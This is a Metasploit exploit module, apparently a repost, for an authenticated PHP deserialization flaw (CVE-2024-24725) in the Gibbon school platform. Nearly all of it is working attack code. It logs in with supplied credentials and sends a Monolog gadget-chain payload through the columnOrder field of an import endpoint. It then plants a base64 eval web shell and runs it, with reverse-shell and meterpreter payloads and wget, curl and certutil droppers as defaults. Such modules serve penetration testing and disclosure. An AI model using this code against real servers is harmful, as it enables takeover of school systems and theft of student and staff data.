Gibbon School Platform 26.0.00 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Gibbon School Platform Authenticated PHP Deserialization Vulnerability',  
'Description' => %q{  
A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower  
allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a  
POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.  
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,  
potentially resulting in complete system compromise, data exfiltration, or unauthorized access  
to sensitive information.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor  
'Ali Maharramli', # SecondX.io Research Team - discovery of the vulnerability  
'Fikrat Guliev', # SecondX.io Research Team - discovery of the vulnerability  
'Islam Rzayev' # SecondX.io Research Team - discovery of the vulnerability  
],  
'References' => [  
['CVE', '2024-24725'],  
['URL', 'https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725'],  
['PACKETSTORM', '177635'],  
['EDB', '51903']  
],  
'DisclosureDate' => '2024-03-18',  
'Platform' => ['php', 'unix', 'linux', 'win'],  
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],  
'Privileged' => false,  
'Targets' => [  
[  
'PHP',  
{  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Type' => :php,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Unix Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => ['linux'],  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],  
'Linemax' => 16384,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :windows_dropper,  
'Linemax' => 16384,  
'CmdStagerFlavor' => ['psh_invokewebrequest', 'vbs', 'debug_asm', 'debug_write', 'certutil'],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 443  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [ true, 'The Gibbon online school platform endpoint URL', '/' ]),  
OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]),  
OptString.new('USERNAME', [true, 'Gibbon username to login, typically an e-mail address']),  
OptString.new('PASSWORD', [true, 'Password'])  
])  
end  
  
def gibbon_login  
# construct multipart login form data  
form_data = Rex::MIME::Message.new  
form_data.add_part('', nil, nil, 'form-data; name="address"')  
form_data.add_part('default', nil, nil, 'form-data; name="method"')  
form_data.add_part(datastore['USERNAME'].to_s, nil, nil, 'form-data; name="username"')  
form_data.add_part(datastore['PASSWORD'].to_s, nil, nil, 'form-data; name="password"')  
form_data.add_part('025', nil, nil, 'form-data; name="gibbonSchoolYearID"')  
form_data.add_part('0002', nil, nil, 'form-data; name="gibboni18nID"')  
  
return send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'login.php?timeout=true'),  
'keep_cookies' => true,  
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",  
'data' => form_data.to_s  
})  
end  
  
def construct_form_data(payload)  
# construct multipart form data with payload  
payload_len = payload.length  
payload_data = "a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\x00*\x00socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";r:3;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";a:1:{i:0;a:2:{i:0;s:#{payload_len}:\"#{payload}\";s:5:\"level\";N;}}s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}"  
  
form_data = Rex::MIME::Message.new  
form_data.add_part('/modules/System Admin/import_run.php', nil, nil, 'form-data; name="address"')  
form_data.add_part('sync', nil, nil, 'form-data; name="mode"')  
form_data.add_part('N', nil, nil, 'form-data; name="syncField"')  
form_data.add_part('', nil, nil, 'form-data; name="syncColumn"')  
form_data.add_part(payload_data.to_s, nil, nil, 'form-data; name="columnOrder"')  
form_data.add_part('N;', nil, nil, 'form-data; name="columnText"')  
form_data.add_part('%2C', nil, nil, 'form-data; name="fieldDelimiter"')  
form_data.add_part('%22', nil, nil, 'form-data; name="stringEnclosure"')  
form_data.add_part("#{Rex::Text.rand_text_alpha(8..16)}.xlsx", nil, nil, 'form-data; name="filename"')  
form_data.add_part('"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"', nil, nil, 'form-data; name="csvData"')  
form_data.add_part('1', nil, nil, 'form-data; name="ignoreErrors"')  
form_data.add_part('Submit', nil, nil, 'form-data; name="Failed"')  
return form_data  
end  
  
def upload_webshell(b64_payload)  
# randomize file name if option WEBSHELL is not set  
@webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php")  
  
# create webshell with base64 encoded PHP payload  
# works for both windows and linux targets  
php_payload = "echo \"<?php @eval(base64_decode(\'#{b64_payload}\'));?>\" > #{@webshell_name}"  
form_data = construct_form_data(php_payload)  
  
# upload webshell  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),  
'keep_cookies' => true,  
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",  
'data' => form_data.to_s  
})  
end  
  
def execute_php(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
res = upload_webshell(payload)  
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200  
register_file_for_cleanup(@webshell_name)  
  
# execute webshell  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, @webshell_name),  
'keep_cookies' => true  
})  
end  
  
def execute_command(cmd, _opts = {})  
form_data = construct_form_data(cmd)  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),  
'keep_cookies' => true,  
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",  
'data' => form_data.to_s  
})  
end  
  
def check  
print_status("Checking if #{peer} can be exploited.")  
res = send_request_cgi!({  
'method' => 'GET',  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path)  
})  
return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200  
  
# check if target is running the Gibbon online school platform  
# search for the Gibbon version on the login page  
return CheckCode::Safe('No Gibbon school platform found.') unless res.body.include?('Gibbon')  
  
# trying to get the version  
version = res.body.match(/Gibbon.*v(\d+\.\d+\.\d+)/)  
version_number = version[0].split('v') unless version.nil?  
if version_number  
if Rex::Version.new(version_number[1]) <= Rex::Version.new('26.0.00')  
return CheckCode::Appears("Gibbon v#{version_number[1]}")  
else  
return CheckCode::Safe("Gibbon v#{version_number[1]}")  
end  
end  
CheckCode::Detected  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
res = gibbon_login  
fail_with(Failure::NoAccess, "Login failed with user #{datastore['USERNAME']} and password #{datastore['PASSWORD']}.") unless res && res.code == 302  
  
case target['Type']  
when :php  
execute_php(payload.encoded)  
when :unix_cmd, :windows_cmd  
execute_command(payload.encoded)  
when :linux_dropper, :windows_dropper  
# don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_cmdstager({ linemax: target.opts['Linemax'] })  
end  
end  
end  
`